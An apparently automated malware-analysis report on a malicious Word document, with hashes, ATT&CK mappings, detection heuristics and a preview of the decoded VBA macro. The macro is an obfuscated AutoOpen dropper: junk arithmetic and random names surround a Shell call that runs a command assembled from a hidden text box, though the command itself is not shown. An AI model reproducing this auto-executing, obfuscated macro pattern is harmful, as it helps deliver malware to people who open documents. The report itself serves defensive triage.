Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6ae17b7526c8feb9…

MALICIOUS

Office (OLE)

128.8 KB Created: 2018-12-12 16:35:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 98a2f804ad79147665de698a2644e713 SHA-1: ef4010714b601d3e00613a47f9543ee4dadb3f98 SHA-256: 6ae17b7526c8feb9b665c32ddfe5da813631bb354e632c4742b141d64d85dfce
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a VBA macro with an autoopen subroutine that utilizes the Shell() function to execute commands. This indicates an attempt to download and execute a secondary payload. The presence of multiple high-severity heuristics related to VBA macros and command execution, along with a critical ClamAV detection, strongly suggests malicious intent.

Heuristics 10

  • ClamAV: Doc.Malware.Generic-6781940-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6781940-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
     _
.Shell(YXiOXia, NYpjntCoqoQ), Fosnfh)
   Set wvhJIUdocdjrYVQUYaTv = TUmPZqHqssSZvHqWEijhd
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
izjvG
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7696 bytes
SHA-256: c894a1a0acc85eb518da5427ff359b04c647298334750e2e1a305e4a1465cc03
Detection
ClamAV: No threats found
Obfuscation or payload: likely
198 of 243 identifiers look randomly generated (e.g. 'jfElELfDGbYmfrDuQkhaXDFh') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wGcKOWAGn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
izjvG
End Sub

Attribute VB_Name = "fHJMNDOi"
Function izjvG()
On Error Resume Next
   Set jfLTTLwNZEhLdHAn = GZOqRJlpGdfTGtNAd
      brUzzRasYOcwqujzNXwUP = Sqr(adMhTuSLTKzWZvwJbw)
         YlWNJnkjGfqEIVFQq = 243576335 * Oct(zfZNuRzUVnDEvzErk) * 30469940 * CuiKLfdFrBTiFYKwk - (335181560 + CLng(bvMTPvDbuFDdUMaiWP) * 138156564 * CBool(90548992))
   RMGSBJzjkAUsNdUqbSOIE = ChrW(AnXzSfpojPlpKjGANmGuJ)
   Set TrNAURSoihkToXWfupEPz = wJwJhGOtNhcRfAoTIjAitUE
      koRsWvaJibuEDKk = Sqr(akUCqWrVrahXPVwb)
         qZspVXSHTjDFkPz = 314045371 * Oct(EJABQNzvBvOCuNdTwNlsWE) * 82902020 * vXnnQGKjcaQpbD - (171159991 + CLng(vtUbEEZWamlBMDSz) * 320153305 * CBool(333952184))
   saJfuliaUwnsvnZ = ChrW(cklzrwRMiVIWYIRscwhllOZq)
   Set UriDUJPOIKHstCi = bNrOvVtjNGLIaHJTEpZvibqS
      ZwAovKLJhCVYGMz = Sqr(wqOzGnBBnoEciRzWZGVYsrSw)
         zsEnvwcazjlcUAmvzBHFjaQD = 338649456 * Oct(zqaEGXRzHvwOspbBlkOtEFjd) * 300515657 * LqQZbBnwwlAsZNKXtrwkJR - (199532607 + CLng(ojoFutGzLQMbhiTvavqpB) * 295786888 * CBool(71028781))
   ihMsfIhtMikvMi = ChrW(EfChIBjpLYCKNa)
   Set OBORctusitHzvbERcABRYQ = hYktdNoMTLWzJjGlzwjGmmj
      rwQwklLQzHjtrARfph = Sqr(oYbvkWOCUrKHuoNBjzqciz)
         CBzNtziAQEwvzPB = 206828708 * Oct(VjqYmAmEiwlizFFoSZu) * 246499969 * VCpqtCvsQlfROGz - (62002580 + CLng(PANIPBtSRztHiqGtSzjAh) * 296641018 * CBool(333781451))
   LNMGQkwFikJuYBFBwYcCCll = ChrW(YXvHTIzWBWwBonBjBncujMV)
Const NYpjntCoqoQ = 0
   Set qqbGAinvUjsRjAR = uHAFMwLOttjbCdfWRccIl
      EUmZrlFqfmIMmoDhrr = Sqr(MMGwLtrDWADYJzZCjSnH)
         ICOwTqqrSjkkdZJwVbj = 342012449 * Oct(jqcOzONmXOEkEDJsCsDAM) * 26008018 * SnjYQDKrHHtZMliUb - (194891365 + CLng(uUjAYVzFTjczUfY) * 66779658 * CBool(173946543))
   pwiNXzcLdwGTYbXHJw = ChrW(nHCQwrIiIYunbHBlhXhwj)
   Set pjJIonijmsDzvdVpKdDtnCr = QEHjHqwzqihjwD
      jjZcBuoZjODLQiUEms = Sqr(rjfvbwwFJQvpqHK)
         JNaqGbfaVEffPVZuop = 77587638 * Oct(DowjEofIkZMEGNKqMCCQE) * 33318560 * WRRqoqBAAvaRVPulRvW - (274479855 + CLng(saYCKjhmnvfwObOnwrSjYLJf) * 319433884 * CBool(270437090))
   SQkUhPdiqsndHTONzuS = ChrW(nfwSEEGXjRtFVIO)
   Set tUTNqRvmVuZQkCWr = dwRuhmUhdpEODqND
      UqiQXWJDkKIGpUiQjjCoP = Sqr(hzfMbqXRELMDifIt)
         bIqzcLboVWzWKLP = 122016805 * Oct(JilLuSjSGwtmlCH) * 255208161 * bfYOFnDXGUZutAzkZWa - (53560829 + CLng(jpKfVPiCjTqkkkjtuDuioozG) * 153614133 * CBool(85630678))
   vBMfhiiuqOjjYUUWBjKJQOqf = ChrW(fZHssDHITmBXoIFFp)
   Set BnMiREZJuTnoLmiubWXPcSki = pncJwbqjqowPRkLVB
      fDJRujdkjzaWjChRbQ = Sqr(zzszHVzhfKlLtbwEaHYtwfMv)
         GUFthAJuZBVnGBvzwwZvlju = 237648544 * Oct(HJDXATlzEBArowJcRUZdRTFc) * 318126973 * hmzGZZVvZrFXZijqCAvFKzQS - (137887529 + CLng(VGjoDbaClzzzcbVs) * 166468032 * CBool(120350456))
   turtbQFhqmiVhlMEPP = ChrW(niwWwktFXTkSawwbRdNEX)
   Set WLQjdvvFfAUwES = pHkRCAFRZQcjWEffBsz
      CYDiLzCzsnAZVMdzubfDRt = Sqr(QBOZBzVTEGiWRDBFFwHYlQD)
         JailZMuWJjnhwYBw = 156971557 * Oct(wTqpMusWaFJUFAwEPa) * 111699772 * trMINkQUIjzIBSTjTTOot - (21821158 + CLng(oMoamjsIahoaEGicbdXNtI) * 7603666 * CBool(129194157))
   jOkwMcpqFXvYJdlQYWbMrO = ChrW(lrmKWpsjLUnGUIMOEwjz)
   Set mzsBKdFIYEhOrwNcGiN = aviCRCKVvvijpX
      PItHsvrzhYniWWLKodrwrV = Sqr(kHSjNcWAZUGzTNWUHivwdi)
         ozjktCzYwuSJzZLiWL = 158119991 * Oct(NQYrzRIjPvYNFnik) * 196340864 * czbwHDBDXuvDYkFQGXarncu - (95548365 + CLng(CVFDLvbAiiamRIV) * 276409035 * CBool(301387050))
   NnMXnIphGJmEADMnFhwzLzU = ChrW(uCfdoPEBtijawf)
   Set LzhOKYjSqPQrGVidpaMbJqp = IfmifwuWThbWupa
      lHokiDWijhaNZMkUHaFilA = Sqr(sUuXZtIiAAYpCBEYEJDCzY)
         zHwHOUjvClTwQojwpYwZM = 6885673 * Oct(iSDBAVhzpUmwQcmtOR) * 33029961 * EiFojYMOiwzUwkOoLS - (226808791 + CLng(UoicdrPUDfkHHiSzNOS) * 185513120 * CBool(60776034))
   SrUSAfOwhwjfBQEdLr = ChrW(sLzOrMRSOazzGQA)
   Set HnCwUDmzMiOQwondp = IBDRVISUIiipcLSFdDXDfiu
      pJFCJOWjaOrzOqSt = Sqr(AuDTXCDwtKkFmNaHqbLD)
         KtLvPNUUqnkiZfnqt = 121670757 * Oct(CEQDldoBQqXPGqO) * 276360464 * rXIoiiDXzaMinQ - (324492233 + CLng(DALupaRaMDdSXdo) * 75844005 * CBool(273799564))
   zWKSTaMjlCbSdaaGDpCvLR = ChrW(hciAkzVmBsAQawk)
   Set usKFcYwZTzttJHqqfY = avGkcjwUbhbCapm
      QHIZErIQGEwYnzBTBij = Sqr(oHiVdDXrsvSDWjajWzA)
         mqiYlahdjHBwFMjIYnwAU = 113398643 * Oct(LlvBDXRzBiBnzdKkDWt) * 74349333 * tWwKzRLjCzNVRTmpYdGOK - (340274415 + CLng(EZmfOCtibFnRPwrDF) * 44210092 * CBool(93483134))
   inRfKYuismzatEukNmzjJVmP = ChrW(BWthaBHvAnQHGVpIPloI)
YXiOXia = wGcKOWAGn.TextBox1 + CGpSJ + IBBBIBBw + pitQddH + XukzG + KqbkizN + OFEMoGS + qKVhCrQ + SjivY + BCKvYEv + PXCFTRc
   Set DoBdtnLOoVhlnm = FKwLcVPcFsJsVVdhKiKiqz
      IjtFBAKRHwOawOObio = Sqr(vlkuqtKoXHcDwHpn)
         iQNcuaBvGuhSvCctiBj = 157122868 * Oct(DLqLnKfsQSGantSajBKjzj) * 333304541 * WbEAJTGFPmfEWRHQWDqc - (177673162 + CLng(IJJTvAZopTNNpLGfizMALAN) * 93465283 * CBool(25591506))
   tuNvtWCiTuqqYGjbz = ChrW(rJbwJqUsQajIwvPc)
   Set XVVfftMPDFHrXlMKwzADQ = WCYGfiGdfFtwXN
      nbRuobVljHjjBVfEISW = Sqr(SHZOiIaZCzbNzmJYjJcZARsz)
         uEHABldBNFjBDMfBwiifWkO = 79488146 * Oct(VzpwzBOZTnESZBM) * 328037631 * lhdWfzzYEiJTYKpv - (302847046 + CLng(lnFODRbjYaiWhWhKzhij) * 270329301 * CBool(12603590))
   YvSFGucOXfVaJGWdMuwYWph = ChrW(mlOLIMKrkvhTlL)
   Set awFTtAKiGAWiGJd = LWQmBKEYccHTjAUAfjn
      zYHYwzEiTHkDhIuUELF = Sqr(uhrQtquFfWCWWCcmO)
         qDGZFUsDmaGAwUiXjQjqiFD = 331454593 * Oct(zFNhijHFMVCJUcXYpETzfZhs) * 332327971 * MGYNkAIbIPiWHuzujz - (184398550 + CLng(LoJSoBjwSXXViIUBh) * 333356708 * CBool(238524387))
   BtTHuTzZAkqiQj = ChrW(XwGZjQJIlsInwazN)
   Set BXDWpZYhjHfFjsiDjiwY = wDWJRABjXIhQZtWjMqXswqFd
      zZBboTEShFThMYYWBIzzpJzL = Sqr(UoZjAFzsKRbzEipczr)
         DCASwVuhGfJpapHTffljzV = 263683322 * Oct(GzWwZJUsRKIRUW) * 176422638 * FYrNAcAJwPKzLKph - (96346932 + CLng(LBwwHwLRXPhqzJEabbibCdwN) * 341801901 * CBool(71728252))
   XjHVbCWKZMHQuBiFlcGPBtkj = ChrW(CnviElwwznkQtFnd)
   Set JpsmjYCWJlKrnLViUNZJvPYH = GAwRcbESzEIwFq
      jfElELfDGbYmfrDuQkhaXDFh = Sqr(GYpGMmPXiaPKmDsb)
         rpDpYatKsLXPYfaXbwmpwtpJ = 94746045 * Oct(RnjdhowaLPiUhw) * 313121133 * UarIGupnLEFlAwAtaXJGaOii - (111214586 + CLng(TLsGQouzZOSGvWwvScjNZNOk) * 301236082 * CBool(69143885))
   pVGwIrIbivEoRrAYlbUbnH = ChrW(vBzDXFwINGzEiTSJPnvU)
   Set lIvFSZkjMjMtQdGTkz = WwZslTzjwWBGDWGJq
      tlMQPEYmILqDlLF = Sqr(CYMQJlTsoMKZIXKTPOqO)
         GhUUzLnqslqAXU = 223168801 * Oct(awISTbCuwdlBWoXVrdvrrvJa) * 209430085 * wbUZlCcWoRivii - (200677290 + CLng(VWZlTDNVItYqFfnhmQf) * 180928554 * CBool(172392084))
   siZAAFmvvQNRamAujsN = ChrW(QrilQJiAJRzCzvirMSDIiNwH)
   Set mYiMjwaUqTVZsXKPzJJG = ifGmzSUtFVttiWJ
      cYUcYfpIflvGUOfPiVEtc = Sqr(idFalwbfNBBhVkpiiCp)
         GMXOZqpiOIRPFCprWwurjAYt = 35032393 * Oct(tuaAnCDiTWGrBuIzQEkmbS) * 309213901 * IkHwRGndIlzuEOVPLbjSkiwA - (227963813 + CLng(kTJTLbAcsCuEMNidjPwNt) * 10690809 * CBool(228235971))
   aAibNioHQjVTTpaWuc = ChrW(TVHOWkHvjEUoilosKs)
oSVZoc = Array(ZiBhq, uJnkV, mriRmWFS, Interaction _
 _
 _
 _
 _
 _
 _
 _
.Shell(YXiOXia, NYpjntCoqoQ), Fosnfh)
   Set wvhJIUdocdjrYVQUYaTv = TUmPZqHqssSZvHqWEijhd
      FQDtIVzdrqMziavujdVwkk = Sqr(RcNawTvkNEjPWMfim)
         PBbNzcPbKuFLfCUBmQuuzJv = 37105403 * Oct(twKZiEviFUjmDfkKWIAfCZdv) * 135567511 * PnrtFFVPEiECcqJcail - (97879011 + CLng(lJkcBuawTUPEIoHrLOdQn) * 172661110 * CBool(41400810))
   UjKVZwvJFrdiHQE = ChrW(vTkKozUBBlOTHwvL)
End Function

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